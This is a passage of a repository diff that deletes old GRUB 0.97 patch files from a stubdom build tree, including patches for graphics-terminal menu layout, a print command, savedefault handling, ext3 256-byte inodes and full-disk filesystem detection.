--	$(NETBOOT_FLAGS) $(SERIAL_FLAGS) $(HERCULES_FLAGS)
-+	$(NETBOOT_FLAGS) $(SERIAL_FLAGS) $(HERCULES_FLAGS) $(GRAPHICS_FLAGS)
- 
- STAGE1_5_LINK = -nostdlib -Wl,-N -Wl,-Ttext -Wl,2000
- STAGE1_5_COMPILE = $(STAGE2_COMPILE) -DNO_DECOMPRESSION=1 -DSTAGE1_5=1
-@@ -90,7 +96,8 @@
- 	cmdline.c common.c console.c disk_io.c fsys_ext2fs.c \
- 	fsys_fat.c fsys_ffs.c fsys_iso9660.c fsys_jfs.c fsys_minix.c \
- 	fsys_reiserfs.c fsys_ufs2.c fsys_vstafs.c fsys_xfs.c gunzip.c \
--	hercules.c md5.c serial.c smp-imps.c stage2.c terminfo.c tparm.c
-+	hercules.c md5.c serial.c smp-imps.c stage2.c terminfo.c tparm.c \
-+	graphics.c
- pre_stage2_exec_CFLAGS = $(STAGE2_COMPILE) $(FSYS_CFLAGS)
- pre_stage2_exec_CCASFLAGS = $(STAGE2_COMPILE) $(FSYS_CFLAGS)
- pre_stage2_exec_LDFLAGS = $(PRE_STAGE2_LINK)
-diff -Naur grub-0.97.orig/stage2/shared.h grub-0.97/stage2/shared.h
---- grub-0.97.orig/stage2/shared.h	2004-06-19 13:40:09.000000000 -0300
-+++ grub-0.97/stage2/shared.h	2005-06-12 20:56:49.000000000 -0300
-@@ -792,6 +792,11 @@
- /* Set the cursor position. */
- void gotoxy (int x, int y);
- 
-+/* Internal pager
-+   Returns 1 = if pager was used
-+           0 = if pager wasn't used  */
-+int do_more (void);
-+
- /* Displays an ASCII character.  IBM displays will translate some
-    characters to special graphical ones (see the DISP_* constants). */
- void grub_putchar (int c);
-@@ -871,6 +876,7 @@
- int grub_tolower (int c);
- int grub_isspace (int c);
- int grub_strncat (char *s1, const char *s2, int n);
-+void grub_memcpy(void *dest, const void *src, int len);
- void *grub_memmove (void *to, const void *from, int len);
- void *grub_memset (void *start, int c, int len);
- int grub_strncat (char *s1, const char *s2, int n);
-diff -Naur grub-0.97.orig/stage2/stage2.c grub-0.97/stage2/stage2.c
---- grub-0.97.orig/stage2/stage2.c	2005-03-19 14:51:57.000000000 -0300
-+++ grub-0.97/stage2/stage2.c	2005-06-13 22:38:08.000000000 -0300
-@@ -20,6 +20,12 @@
- #include <shared.h>
- #include <term.h>
- 
-+#ifdef SUPPORT_GRAPHICS
-+# include <graphics.h>
-+#endif
-+
-+int col_start, col_end, row_start, box_size;
-+
- grub_jmp_buf restart_env;
- 
- #if defined(PRESET_MENU_STRING) || defined(SUPPORT_DISKLESS)
-@@ -105,13 +111,13 @@
-   if (highlight && current_term->setcolorstate)
-     current_term->setcolorstate (COLOR_STATE_HIGHLIGHT);
- 
--  gotoxy (2, y);
-+  gotoxy (2 + col_start, y);
-   grub_putchar (' ');
--  for (x = 3; x < 75; x++)
-+  for (x = 3 + col_start; x < (col_end - 5); x++)
-     {
--      if (*entry && x <= 72)
-+      if (*entry && x <= (col_end - 8))
- 	{
--	  if (x == 72)
-+	  if (x == (col_end - 8))
- 	    grub_putchar (DISP_RIGHT);
- 	  else
- 	    grub_putchar (*entry++);
-@@ -119,7 +125,7 @@
-       else
- 	grub_putchar (' ');
-     }
--  gotoxy (74, y);
-+  gotoxy ((col_end - 6), y);
- 
-   if (current_term->setcolorstate)
-     current_term->setcolorstate (COLOR_STATE_STANDARD);
-@@ -131,7 +137,7 @@
- {
-   int i;
-   
--  gotoxy (77, y + 1);
-+  gotoxy ((col_end - 3), y + 1);
- 
-   if (first)
-     grub_putchar (DISP_UP);
-@@ -151,14 +157,14 @@
- 	menu_entries++;
-     }
- 
--  gotoxy (77, y + size);
-+  gotoxy ((col_end - 3), y + size);
- 
-   if (*menu_entries)
-     grub_putchar (DISP_DOWN);
-   else
-     grub_putchar (' ');
- 
--  gotoxy (74, y + entryno + 1);
-+  gotoxy ((col_end - 6), y + entryno + 1);
- }
- 
- static void
-@@ -196,30 +202,30 @@
-   if (current_term->setcolorstate)
-     current_term->setcolorstate (COLOR_STATE_NORMAL);
-   
--  gotoxy (1, y);
-+  gotoxy (1 + col_start, y);
- 
-   grub_putchar (DISP_UL);
--  for (i = 0; i < 73; i++)
-+  for (i = col_start; i < (col_end - 7); i++)
-     grub_putchar (DISP_HORIZ);
-   grub_putchar (DISP_UR);
- 
-   i = 1;
-   while (1)
-     {
--      gotoxy (1, y + i);
-+      gotoxy (1 + col_start, y + i);
- 
-       if (i > size)
- 	break;
-       
-       grub_putchar (DISP_VERT);
--      gotoxy (75, y + i);
-+      gotoxy ((col_end - 5), y + i);
-       grub_putchar (DISP_VERT);
- 
-       i++;
-     }
- 
-   grub_putchar (DISP_LL);
--  for (i = 0; i < 73; i++)
-+  for (i = col_start; i < (col_end - 7); i++)
-     grub_putchar (DISP_HORIZ);
-   grub_putchar (DISP_LR);
- 
-@@ -233,6 +239,7 @@
- {
-   int c, time1, time2 = -1, first_entry = 0;
-   char *cur_entry = 0;
-+  struct term_entry *prev_term = NULL;
- 
-   /*
-    *  Main loop for menu UI.
-@@ -250,6 +257,22 @@
- 	}
-     }
- 
-+  col_start = 0;
-+  col_end = 80;
-+  row_start = 0;
-+  box_size = 12;
-+  /* if we're using viewport we need to make sure to setup
-+     coordinates correctly.  */
-+#ifdef SUPPORT_GRAPHICS
-+  if (grub_memcmp (current_term->name, "graphics", sizeof ("graphics") - 1) == 0)
-+    {
-+      col_start = view_x0;
-+      col_end = view_x1;
-+      row_start = view_y0;
-+      box_size = (view_y1 - view_y0) - 13;
-+    }
-+#endif
-+
-   /* If the timeout was expired or wasn't set, force to show the menu
-      interface. */
-   if (grub_timeout < 0)
-@@ -302,36 +325,36 @@
-       if (current_term->flags & TERM_DUMB)
- 	print_entries_raw (num_entries, first_entry, menu_entries);
-       else
--	print_border (3, 12);
-+	print_border (3 + row_start, box_size);
- 
-       grub_printf ("\n\
--      Use the %c and %c keys to select which entry is highlighted.\n",
-+    Use the %c and %c keys to select which entry is highlighted.\n",
- 		   DISP_UP, DISP_DOWN);
-       
-       if (! auth && password)
- 	{
- 	  printf ("\
--      Press enter to boot the selected OS or \'p\' to enter a\n\
--      password to unlock the next set of features.");
-+    Press enter to boot the selected OS or \'p\' to enter a\n\
-+    password to unlock the next set of features.");
- 	}
-       else
- 	{
- 	  if (config_entries)
- 	    printf ("\
--      Press enter to boot the selected OS, \'e\' to edit the\n\
--      commands before booting, or \'c\' for a command-line.");
-+    Press enter to boot the selected OS, \'e\' to edit the\n\
-+    commands before booting, or \'c\' for a command-line.");
- 	  else
- 	    printf ("\
--      Press \'b\' to boot, \'e\' to edit the selected command in the\n\
--      boot sequence, \'c\' for a command-line, \'o\' to open a new line\n\
--      after (\'O\' for before) the selected line, \'d\' to remove the\n\
--      selected line, or escape to go back to the main menu.");
-+    Press \'b\' to boot, \'e\' to edit the selected command in the\n\
-+    boot sequence, \'c\' for a command-line, \'o\' to open a new line\n\
-+    after (\'O\' for before) the selected line, \'d\' to remove the\n\
-+    selected line, or escape to go back to the main menu.");
- 	}
- 
-       if (current_term->flags & TERM_DUMB)
- 	grub_printf ("\n\nThe selected entry is %d ", entryno);
-       else
--	print_entries (3, 12, first_entry, entryno, menu_entries);
-+	print_entries (3 + row_start, box_size, first_entry, entryno, menu_entries);
-     }
- 
-   /* XX using RT clock now, need to initialize value */
-@@ -358,10 +381,10 @@
- 			   entryno, grub_timeout);
- 	  else
- 	    {
--	      gotoxy (3, 22);
--	      grub_printf ("The highlighted entry will be booted automatically in %d seconds.    ",
-+	      gotoxy (3 + col_start, 10 + box_size + row_start);
-+	      grub_printf (" The highlighted entry will be booted automatically in %d seconds.   ",
- 			   grub_timeout);
--	      gotoxy (74, 4 + entryno);
-+	      gotoxy ((col_end - 6), 4 + entryno + row_start);
- 	  }
- 	  
- 	  grub_timeout--;
-@@ -387,12 +410,12 @@
- 	      if (current_term->flags & TERM_DUMB)
- 		grub_putchar ('\r');
- 	      else
--		gotoxy (3, 22);
-+		gotoxy (3 + col_start, 10 + box_size + row_start);
- 	      printf ("                                                                    ");
- 	      grub_timeout = -1;
- 	      fallback_entryno = -1;
- 	      if (! (current_term->flags & TERM_DUMB))
--		gotoxy (74, 4 + entryno);
-+		gotoxy ((col_end - 6), 4 + entryno + row_start);
- 	    }
- 
- 	  /* We told them above (at least in SUPPORT_SERIAL) to use
-@@ -408,12 +431,12 @@
- 		{
- 		  if (entryno > 0)
- 		    {
--		      print_entry (4 + entryno, 0,
-+		      print_entry (4 + entryno + row_start, 0,
- 				   get_entry (menu_entries,
- 					      first_entry + entryno,
- 					      0));
- 		      entryno--;
--		      print_entry (4 + entryno, 1,
-+		      print_entry (4 + entryno + row_start, 1,
- 				   get_entry (menu_entries,
- 					      first_entry + entryno,
- 					      0));
-@@ -421,7 +444,7 @@
- 		  else if (first_entry > 0)
- 		    {
- 		      first_entry--;
--		      print_entries (3, 12, first_entry, entryno,
-+		      print_entries (3 + row_start, box_size, first_entry, entryno,
- 				     menu_entries);
- 		    }
- 		}
-@@ -433,29 +456,29 @@
- 		entryno++;
- 	      else
- 		{
--		  if (entryno < 11)
-+		  if (entryno < (box_size - 1))
- 		    {
--		      print_entry (4 + entryno, 0,
-+		      print_entry (4 + entryno + row_start, 0,
- 				   get_entry (menu_entries,
- 					      first_entry + entryno,
- 					      0));
- 		      entryno++;
--		      print_entry (4 + entryno, 1,
-+		      print_entry (4 + entryno + row_start, 1,
- 				   get_entry (menu_entries,
- 					      first_entry + entryno,
- 					      0));
- 		  }
--		else if (num_entries > 12 + first_entry)
-+		else if (num_entries > box_size + first_entry)
- 		  {
- 		    first_entry++;
--		    print_entries (3, 12, first_entry, entryno, menu_entries);
-+		    print_entries (3 + row_start, box_size, first_entry, entryno, menu_entries);
- 		  }
- 		}
- 	    }
- 	  else if (c == 7)
- 	    {
- 	      /* Page Up */
--	      first_entry -= 12;
-+	      first_entry -= box_size;
- 	      if (first_entry < 0)
- 		{
- 		  entryno += first_entry;
-@@ -463,20 +486,20 @@
- 		  if (entryno < 0)
- 		    entryno = 0;
- 		}
--	      print_entries (3, 12, first_entry, entryno, menu_entries);
-+	      print_entries (3 + row_start, box_size, first_entry, entryno, menu_entries);
- 	    }
- 	  else if (c == 3)
- 	    {
- 	      /* Page Down */
--	      first_entry += 12;
-+	      first_entry += box_size;
- 	      if (first_entry + entryno + 1 >= num_entries)
- 		{
--		  first_entry = num_entries - 12;
-+		  first_entry = num_entries - box_size;
- 		  if (first_entry < 0)
- 		    first_entry = 0;
- 		  entryno = num_entries - first_entry - 1;
- 		}
--	      print_entries (3, 12, first_entry, entryno, menu_entries);
-+	      print_entries (3 + row_start, box_size, first_entry, entryno, menu_entries);
- 	    }
- 
- 	  if (config_entries)
-@@ -489,7 +512,7 @@
- 	      if ((c == 'd') || (c == 'o') || (c == 'O'))
- 		{
- 		  if (! (current_term->flags & TERM_DUMB))
--		    print_entry (4 + entryno, 0,
-+		    print_entry (4 + entryno + row_start, 0,
- 				 get_entry (menu_entries,
- 					    first_entry + entryno,
- 					    0));
-@@ -537,7 +560,7 @@
- 
- 		      if (entryno >= num_entries)
- 			entryno--;
--		      if (first_entry && num_entries < 12 + first_entry)
-+		      if (first_entry && num_entries < box_size + first_entry)
- 			first_entry--;
- 		    }
- 
-@@ -549,7 +572,7 @@
- 		      grub_printf ("\n");
- 		    }
- 		  else
--		    print_entries (3, 12, first_entry, entryno, menu_entries);
-+		    print_entries (3 + row_start, box_size, first_entry, entryno, menu_entries);
- 		}
- 
- 	      cur_entry = menu_entries;
-@@ -570,7 +593,7 @@
- 		  if (current_term->flags & TERM_DUMB)
- 		    grub_printf ("\r                                    ");
- 		  else
--		    gotoxy (1, 21);
-+		    gotoxy (1 + col_start, 9 + box_size + row_start);
- 
- 		  /* Wipe out the previously entered password */
- 		  grub_memset (entered, 0, sizeof (entered));
-@@ -714,6 +737,15 @@
-   
-   cls ();
-   setcursor (1);
-+  /* if our terminal needed initialization, we should shut it down
-+   * before booting the kernel, but we want to save what it was so
-+   * we can come back if needed */
-+  prev_term = current_term;
-+  if (current_term->shutdown) 
-+    {
-+      current_term->shutdown();
-+      current_term = term_table; /* assumption: console is first */
-+    }
-   
-   while (1)
-     {
-@@ -748,6 +780,13 @@
- 	break;
-     }
- 
-+  /* if we get back here, we should go back to what our term was before */
-+  current_term = prev_term;
-+  if (current_term->startup)
-+      /* if our terminal fails to initialize, fall back to console since
-+       * it should always work */
-+      if (current_term->startup() == 0)
-+          current_term = term_table; /* we know that console is first */
-   show_menu = 1;
-   goto restart;
- }
-@@ -1050,6 +1089,16 @@
- 	  while (is_preset);
- 	}
- 
-+      /* go ahead and make sure the terminal is setup */
-+      if (current_term->startup)
-+	{
-+	  /* If initialization fails, go back to default terminal */
-+	  if (current_term->startup() == 0)
-+		  {
-+		      current_term = term_table;
-+		  }
-+	}
-+
-       if (! num_entries)
- 	{
- 	  /* If no acceptable config file, goto command-line, starting
-diff -Naur grub-0.97.orig/stage2/term.h grub-0.97/stage2/term.h
---- grub-0.97.orig/stage2/term.h	2003-07-09 08:45:53.000000000 -0300
-+++ grub-0.97/stage2/term.h	2005-06-13 14:07:40.000000000 -0300
-@@ -60,6 +60,8 @@
-   const char *name;
-   /* The feature flags defined above.  */
-   unsigned long flags;
-+  /* Default for maximum number of lines if not specified */
-+  unsigned short max_lines;
-   /* Put a character.  */
-   void (*putchar) (int c);
-   /* Check if any input character is available.  */
-@@ -79,6 +81,10 @@
-   void (*setcolor) (int normal_color, int highlight_color);
-   /* Turn on/off the cursor.  */
-   int (*setcursor) (int on);
-+  /* function to start a terminal */
-+  int (*startup) (void);
-+  /* function to use to shutdown a terminal */
-+  void (*shutdown) (void);
- };
- 
- /* This lists up available terminals.  */
-@@ -124,4 +130,24 @@
- int hercules_setcursor (int on);
- #endif
- 
-+#ifdef SUPPORT_GRAPHICS
-+extern int foreground, background, window_border, graphics_inited, saved_videomode;
-+
-+void graphics_set_splash(char *splashfile);
-+int set_videomode(int mode);
-+int get_videomode(void);
-+void graphics_putchar (int c);
-+int graphics_getxy(void);
-+void graphics_gotoxy(int x, int y);
-+void graphics_cls(void);
-+void graphics_setcolorstate (color_state state);
-+void graphics_setcolor (int normal_color, int highlight_color);
-+int graphics_setcursor (int on);
-+int graphics_init(void);
-+void graphics_end(void);
-+
-+int hex(int v);
-+void graphics_set_palette(int idx, int red, int green, int blue);
-+#endif /* SUPPORT_GRAPHICS */
-+
- #endif /* ! GRUB_TERM_HEADER */
diff --git a/stubdom/grub.patches/11graphics-keyboard.diff b/stubdom/grub.patches/11graphics-keyboard.diff
deleted file mode 100644
index fe17b20a6f..0000000000
--- a/stubdom/grub.patches/11graphics-keyboard.diff
+++ /dev/null
@@ -1,13 +0,0 @@
-diff --git a/stage2/stage2.c b/stage2/stage2.c
-index 9d9fcc3..8353a3b 100644
---- a/stage2/stage2.c
-+++ b/stage2/stage2.c
-@@ -395,7 +395,7 @@ restart:
- 	 pressed.  
- 	 This avoids polling (relevant in the grub-shell and later on
- 	 in grub if interrupt driven I/O is done).  */
--      if (checkkey () >= 0 || grub_timeout < 0)
-+      if (checkkey () > 0 || grub_timeout < 0)
- 	{
- 	  /* Key was pressed, show which entry is selected before GETKEY,
- 	     since we're comming in here also on GRUB_TIMEOUT == -1 and
diff --git a/stubdom/grub.patches/20print_func.diff b/stubdom/grub.patches/20print_func.diff
deleted file mode 100644
index 71ad042ac2..0000000000
--- a/stubdom/grub.patches/20print_func.diff
+++ /dev/null
@@ -1,52 +0,0 @@
-2006-01-05  Otavio Salvador  <otavio@debian.org>
-
-       * Rediff.
-
-2005-16-10  Samuel Thibault  <samuel.thibault@ens-lyon.org>
-
-       * docs/grub.texi: Added print command description.
-       * stage2/builtins.c(print_func): New function.
-       (builtin_print): New variable.
-       (builtin_table): Added builtin_print in table.
-
-Debian Status Following:
-   Added by: Otavio Salvador
-       Date: 2006-01-05
-
-diff -Nur grub-0.97-bkp/stage2/builtins.c grub-0.97/stage2/builtins.c
---- grub-0.97-bkp/stage2/builtins.c	2006-01-05 10:59:05.550350040 -0200
-+++ grub-0.97/stage2/builtins.c	2006-01-05 11:19:28.422445224 -0200
-@@ -2323,6 +2323,25 @@
-   "Probe I/O ports used for the drive DRIVE."
- };
- 
-+/* print */
-+static int
-+print_func (char *arg, int flags)
-+{
-+  printf("%s\n", arg);
-+
-+  return 0;
-+}
-+
-+static struct builtin builtin_print =
-+{
-+  "print",
-+  print_func,
-+  BUILTIN_CMDLINE | BUILTIN_MENU | BUILTIN_NO_ECHO,
-+  "print [MESSAGE ...]",
-+  "Print MESSAGE."
-+};
-+
-+
- 
- /* kernel */
- static int
-@@ -4848,6 +4867,7 @@
-   &builtin_parttype,
-   &builtin_password,
-   &builtin_pause,
-+  &builtin_print,
- #ifdef GRUB_UTIL
-   &builtin_quit,
- #endif /* GRUB_UTIL */
diff --git a/stubdom/grub.patches/30savedefault.diff b/stubdom/grub.patches/30savedefault.diff
deleted file mode 100644
index 2902b876ec..0000000000
--- a/stubdom/grub.patches/30savedefault.diff
+++ /dev/null
@@ -1,186 +0,0 @@
-Index: grub/stage2/builtins.c
-===================================================================
---- grub.orig/stage2/builtins.c	2008-06-02 18:06:08.942580000 +0100
-+++ grub/stage2/builtins.c	2008-06-06 18:35:07.548390000 +0100
-@@ -86,6 +86,10 @@
-    inside other functions.  */
- static int configfile_func (char *arg, int flags);
- 
-+static int savedefault_helper (char *arg, int flags);
-+
-+static int savedefault_shell (char *arg, int flags);
-+
- /* Initialize the data for builtins.  */
- void
- init_builtins (void)
-@@ -3512,7 +3516,109 @@
- static int
- savedefault_func (char *arg, int flags)
- {
--#if !defined(SUPPORT_DISKLESS) && !defined(GRUB_UTIL)
-+#if !defined(SUPPORT_DISKLESS)
-+  #if !defined(GRUB_UTIL)
-+	return savedefault_helper(arg, flags);
-+  #else
-+	return savedefault_shell(arg, flags);
-+  #endif
-+#else /* !SUPPORT_DISKLESS */ 
-+  errnum = ERR_UNRECOGNIZED;
-+  return 1;
-+#endif /* !SUPPORT_DISKLESS */
-+}
-+
-+#if !defined(SUPPORT_DISKLESS) && defined(GRUB_UTIL)
-+/* savedefault_shell */
-+static int
-+savedefault_shell(char *arg, int flags)
-+ {
-+  int once_only = 0;
-+  int new_default;
-+  int curr_default = -1;
-+  int curr_prev_default = -1;
-+  int new_prev_default = -1;
-+  FILE *fp;
-+  size_t bytes = 10;
-+  char line[bytes];
-+  char *default_file = (char *) DEFAULT_FILE_BUF;
-+  char buf[bytes];
-+  int i;
-+  
-+  while (1)
-+    {
-+      if (grub_memcmp ("--default=", arg, sizeof ("--default=") - 1) == 0)
-+        {
-+          char *p = arg + sizeof ("--default=") - 1;
-+          if (! safe_parse_maxint (&p, &new_default))
-+            return 1;
-+          arg = skip_to (0, arg);
-+        }
-+      else if (grub_memcmp ("--once", arg, sizeof ("--once") - 1) == 0)
-+        {
-+         once_only = 1;
-+         arg = skip_to (0, arg);
-+	}
-+      else
-+        break;
-+    }
-+
-+  *default_file = 0;
-+  grub_strncat (default_file, config_file, DEFAULT_FILE_BUFLEN);
-+  for (i = grub_strlen(default_file); i >= 0; i--)
-+    if (default_file[i] == '/')
-+    {
-+      i++;
-+      break;
-+    }
-+  default_file[i] = 0;
-+  grub_strncat (default_file + i, "default", DEFAULT_FILE_BUFLEN - i);
-+
-+  if(!(fp = fopen(default_file,"r")))
-+    {
-+      errnum = ERR_READ;
-+      goto fail;
-+    }
-+  
-+  fgets(line, bytes, fp);
-+  fclose(fp);
-+ 
-+  sscanf(line, "%d:%d", &curr_prev_default, &curr_default);
-+     
-+  if(curr_default != -1)
-+    new_prev_default = curr_default;
-+  else
-+    {
-+      if(curr_prev_default != -1)
-+        new_prev_default = curr_prev_default;
-+      else
-+        new_prev_default = 0;
-+    }
-+     
-+  if(once_only)
-+    sprintf(buf, "%d:%d", new_prev_default, new_default);
-+  else
-+    sprintf(buf, "%d", new_default);
-+
-+  if(!(fp = fopen(default_file,"w")))
-+    {
-+      errnum = ERR_READ;
-+      goto fail;
-+    }
-+     
-+  fprintf(fp, buf);   
-+     
-+fail:
-+  fclose(fp);
-+  return errnum;
-+}
-+#endif
-+
-+/* savedefault_helper */
-+static int
-+savedefault_helper (char *arg, int flags)
-+{
-+#if !defined(SUPPORT_DISKLESS)
-   unsigned long tmp_drive = saved_drive;
-   unsigned long tmp_partition = saved_partition;
-   char *default_file = (char *) DEFAULT_FILE_BUF;
-@@ -3588,22 +3694,26 @@
-       
-       disk_read_hook = disk_read_savesect_func;
-       len = grub_read (buf, sizeof (buf));
-+      buf[9]='\0';/* Make sure grub_strstr() below terminates */
-       disk_read_hook = 0;
-       grub_close ();
-       
--      if (len != sizeof (buf))
--	{
--	  /* This is too small. Do not modify the file manually, please!  */
--	  errnum = ERR_READ;
--	  goto fail;
--	}
--
-       if (sector_count > 2)
- 	{
- 	  /* Is this possible?! Too fragmented!  */
- 	  errnum = ERR_FSYS_CORRUPT;
- 	  goto fail;
- 	}
-+
-+      char *tmp;
-+      if((tmp = grub_strstr(buf, ":")) != NULL)
-+      {
-+       int f_len = grub_strlen(buf) - grub_strlen(tmp);
-+       char *def;
-+       buf[f_len] = '\0';
-+       def = buf;
-+       safe_parse_maxint (&def, &entryno);
-+      }
-       
-       /* Set up a string to be written.  */
-       grub_memset (buf, '\n', sizeof (buf));
-Index: grub/stage2/stage2.c
-===================================================================
---- grub.orig/stage2/stage2.c	2008-06-02 18:06:08.858579000 +0100
-+++ grub/stage2/stage2.c	2008-06-06 18:04:03.585354000 +0100
-@@ -49,7 +49,8 @@
-     return 0;
- #endif /* GRUB_UTIL */
-   
--  preset_menu_offset = 0;
-+  if (preset_menu_offset)
-+    return 0;
-   return preset_menu != 0;
- }
- 
-@@ -934,7 +935,11 @@
- 	      len = grub_read (buf, sizeof (buf));
- 	      if (len > 0)
- 		{
-+		  char *tmp;
- 		  buf[sizeof (buf) - 1] = 0;
-+		  if((tmp = grub_strstr(p, ":")) != NULL)
-+		    p = tmp + 1;
-+		  
- 		  safe_parse_maxint (&p, &saved_entryno);
- 		}
- 
diff --git a/stubdom/grub.patches/40ext3_256byte_inode.diff b/stubdom/grub.patches/40ext3_256byte_inode.diff
deleted file mode 100644
index 0c40854f94..0000000000
--- a/stubdom/grub.patches/40ext3_256byte_inode.diff
+++ /dev/null
@@ -1,114 +0,0 @@
-
-Patch from Red Hat. See #463236, #463123.
-
-Index: grub/stage2/fsys_ext2fs.c
-===================================================================
---- grub.orig/stage2/fsys_ext2fs.c	2008-05-27 18:47:19.045183000 +0100
-+++ grub/stage2/fsys_ext2fs.c	2008-05-27 19:09:21.293187000 +0100
-@@ -79,7 +79,52 @@
-     __u32 s_rev_level;		/* Revision level */
-     __u16 s_def_resuid;		/* Default uid for reserved blocks */
-     __u16 s_def_resgid;		/* Default gid for reserved blocks */
--    __u32 s_reserved[235];	/* Padding to the end of the block */
-+    /*
-+     * These fields are for EXT2_DYNAMIC_REV superblocks only.
-+     *
-+     * Note: the difference between the compatible feature set and
-+     * the incompatible feature set is that if there is a bit set
-+     * in the incompatible feature set that the kernel doesn't
-+     * know about, it should refuse to mount the filesystem.
-+     *
-+     * e2fsck's requirements are more strict; if it doesn't know
-+     * about a feature in either the compatible or incompatible
-+     * feature set, it must abort and not try to meddle with
-+     * things it doesn't understand...
-+     */
-+    __u32 s_first_ino;		/* First non-reserved inode */
-+    __u16 s_inode_size;		/* size of inode structure */
-+    __u16 s_block_group_nr;	/* block group # of this superblock */
-+    __u32 s_feature_compat;	/* compatible feature set */
-+    __u32 s_feature_incompat;	/* incompatible feature set */
-+    __u32 s_feature_ro_compat;	/* readonly-compatible feature set */
-+    __u8  s_uuid[16];		/* 128-bit uuid for volume */
-+    char  s_volume_name[16];	/* volume name */
-+    char  s_last_mounted[64];	/* directory where last mounted */
-+    __u32 s_algorithm_usage_bitmap; /* For compression */
-+    /*
-+     * Performance hints.  Directory preallocation should only
-+     * happen if the EXT2_FEATURE_COMPAT_DIR_PREALLOC flag is on.
-+     */
-+    __u8  s_prealloc_blocks;	/* Nr of blocks to try to preallocate*/
-+    __u8  s_prealloc_dir_blocks;	/* Nr to preallocate for dirs */
-+    __u16 s_reserved_gdt_blocks;/* Per group table for online growth */
-+    /*
-+     * Journaling support valid if EXT2_FEATURE_COMPAT_HAS_JOURNAL set.
-+     */
-+    __u8 s_journal_uuid[16];	/* uuid of journal superblock */
-+    __u32 s_journal_inum;	/* inode number of journal file */
-+    __u32 s_journal_dev;	/* device number of journal file */
-+    __u32 s_last_orphan;	/* start of list of inodes to delete */
-+    __u32 s_hash_seed[4];	/* HTREE hash seed */
-+    __u8  s_def_hash_version;	/* Default hash version to use */
-+    __u8  s_jnl_backup_type; 	/* Default type of journal backup */
-+    __u16 s_reserved_word_pad;
-+    __u32 s_default_mount_opts;
-+    __u32 s_first_meta_bg;	/* First metablock group */
-+    __u32 s_mkfs_time;		/* When the filesystem was created */
-+    __u32 s_jnl_blocks[17]; 	/* Backup of the journal inode */
-+    __u32 s_reserved[172];	/* Padding to the end of the block */
-   };
- 
- struct ext2_group_desc
-@@ -218,6 +263,9 @@
- #define EXT2_ADDR_PER_BLOCK(s)          (EXT2_BLOCK_SIZE(s) / sizeof (__u32))
- #define EXT2_ADDR_PER_BLOCK_BITS(s)		(log2(EXT2_ADDR_PER_BLOCK(s)))
- 
-+#define EXT2_INODE_SIZE(s)		(SUPERBLOCK->s_inode_size)
-+#define EXT2_INODES_PER_BLOCK(s)	(EXT2_BLOCK_SIZE(s)/EXT2_INODE_SIZE(s))
-+
- /* linux/ext2_fs.h */
- #define EXT2_BLOCK_SIZE_BITS(s)        ((s)->s_log_block_size + 10)
- /* kind of from ext2/super.c */
-@@ -242,7 +290,14 @@
- static __inline__ unsigned long
- ffz (unsigned long word)
- {
--  __asm__ ("bsfl %1,%0"
-+  __asm__ ("bsf"
-+#ifdef __i386__
-+		  "l"
-+#endif
-+#ifdef __x86_64__
-+		  "q"
-+#endif
-+		  " %1,%0"
- :	   "=r" (word)
- :	   "r" (~word));
-   return word;
-@@ -553,7 +608,7 @@
-       gdp = GROUP_DESC;
-       ino_blk = gdp[desc].bg_inode_table +
- 	(((current_ino - 1) % (SUPERBLOCK->s_inodes_per_group))
--	 >> log2 (EXT2_BLOCK_SIZE (SUPERBLOCK) / sizeof (struct ext2_inode)));
-+	 >> log2 (EXT2_INODES_PER_BLOCK (SUPERBLOCK)));
- #ifdef E2DEBUG
-       printf ("inode table fsblock=%d\n", ino_blk);
- #endif /* E2DEBUG */
-@@ -565,13 +620,12 @@
-       /* reset indirect blocks! */
-       mapblock2 = mapblock1 = -1;
- 
--      raw_inode = INODE +
--	((current_ino - 1)
--	 & (EXT2_BLOCK_SIZE (SUPERBLOCK) / sizeof (struct ext2_inode) - 1));
-+      raw_inode = (struct ext2_inode *)((char *)INODE +
-+	((current_ino - 1) & (EXT2_INODES_PER_BLOCK (SUPERBLOCK) - 1)) *
-+	EXT2_INODE_SIZE (SUPERBLOCK));
- #ifdef E2DEBUG
-       printf ("ipb=%d, sizeof(inode)=%d\n",
--	      (EXT2_BLOCK_SIZE (SUPERBLOCK) / sizeof (struct ext2_inode)),
--	      sizeof (struct ext2_inode));
-+	      EXT2_INODES_PER_BLOCK (SUPERBLOCK), EXT2_INODE_SIZE (SUPERBLOCK));
-       printf ("inode=%x, raw_inode=%x\n", INODE, raw_inode);
-       printf ("offset into inode table block=%d\n", (int) raw_inode - (int) INODE);
-       for (i = (unsigned char *) INODE; i <= (unsigned char *) raw_inode;
diff --git a/stubdom/grub.patches/50fs_fulldisk.diff b/stubdom/grub.patches/50fs_fulldisk.diff
deleted file mode 100644
index d0fbb07bc1..0000000000
--- a/stubdom/grub.patches/50fs_fulldisk.diff
+++ /dev/null
@@ -1,72 +0,0 @@
-diff -urN grub-0.97.orig/stage2/fsys_ext2fs.c grub-0.97/stage2/fsys_ext2fs.c
---- grub-0.97.orig/stage2/fsys_ext2fs.c	2004-08-08 18:19:18.000000000 +0000
-+++ grub-0.97/stage2/fsys_ext2fs.c	2008-09-16 19:31:15.000000000 +0000
-@@ -254,7 +254,7 @@
- {
-   int retval = 1;
- 
--  if ((((current_drive & 0x80) || (current_slice != 0))
-+  if ((((current_slice != 0))
-        && (current_slice != PC_SLICE_TYPE_EXT2FS)
-        && (current_slice != PC_SLICE_TYPE_LINUX_RAID)
-        && (! IS_PC_SLICE_TYPE_BSD_WITH_FS (current_slice, FS_EXT2FS))
-diff -urN grub-0.97.orig/stage2/fsys_fat.c grub-0.97/stage2/fsys_fat.c
---- grub-0.97.orig/stage2/fsys_fat.c	2005-03-15 16:52:00.000000000 +0000
-+++ grub-0.97/stage2/fsys_fat.c	2008-09-16 19:31:26.000000000 +0000
-@@ -70,7 +70,7 @@
-   __u32 magic, first_fat;
-   
-   /* Check partition type for harddisk */
--  if (((current_drive & 0x80) || (current_slice != 0))
-+  if (((current_slice != 0))
-       && ! IS_PC_SLICE_TYPE_FAT (current_slice)
-       && (! IS_PC_SLICE_TYPE_BSD_WITH_FS (current_slice, FS_MSDOS)))
-     return 0;
-diff -urN grub-0.97.orig/stage2/fsys_ffs.c grub-0.97/stage2/fsys_ffs.c
---- grub-0.97.orig/stage2/fsys_ffs.c	2003-07-09 11:45:52.000000000 +0000
-+++ grub-0.97/stage2/fsys_ffs.c	2008-09-16 19:31:32.000000000 +0000
-@@ -82,7 +82,7 @@
- {
-   int retval = 1;
- 
--  if ((((current_drive & 0x80) || (current_slice != 0))
-+  if ((((current_slice != 0))
-        && ! IS_PC_SLICE_TYPE_BSD_WITH_FS (current_slice, FS_BSDFFS))
